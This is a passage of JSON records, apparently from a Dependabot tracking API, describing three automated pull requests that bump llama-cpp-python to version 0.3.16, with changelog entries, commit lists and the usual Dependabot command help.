0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-09-01T06:17:53.000Z","updated_at":"2026-01-22T12:03:17.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/mozilla/bugbug/pull/5231","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mozilla%2Fbugbug/issues/5231","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5231/packages"}},{"old_version":"0.3.13","new_version":"0.3.16","update_type":"patch","path":null,"pr_created_at":"2025-08-19T05:05:39.000Z","version_change":"0.3.13 → 0.3.16","issue":{"uuid":"2755185274","node_id":"PR_kwDOPJJIuM6kOMp6","number":11,"state":"open","title":"build(deps): bump llama-cpp-python from 0.3.13 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python:uv"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-08-19T05:05:39.000Z","updated_at":"2025-08-19T05:05:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.13","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.13 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.13...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=uv\u0026previous-version=0.3.13\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/atomwalk12/linalg-zero/pull/11","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/atomwalk12%2Flinalg-zero/issues/11","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11/packages"}},{"old_version":"0.3.15","new_version":"0.3.16","update_type":"patch","path":null,"pr_created_at":"2025-08-19T00:27:59.000Z","version_change":"0.3.15 → 0.3.16","issue":{"uuid":"3332497035","node_id":"PR_kwDOKApIvc6kM7cV","number":263,"state":"open","title":"chore(deps): bump llama-cpp-python from 0.3.15 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":"CONTRIBUTOR","state_reason":null,"created_at":"2025-08-19T00:27:59.000Z","updated_at":"2025-08-19T00:32:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.15","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.15 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.15...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.15\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/futuroptimist/token.place/pull/263","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/futuroptimist%2Ftoken.place/issues/263","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/263/packages"}}]}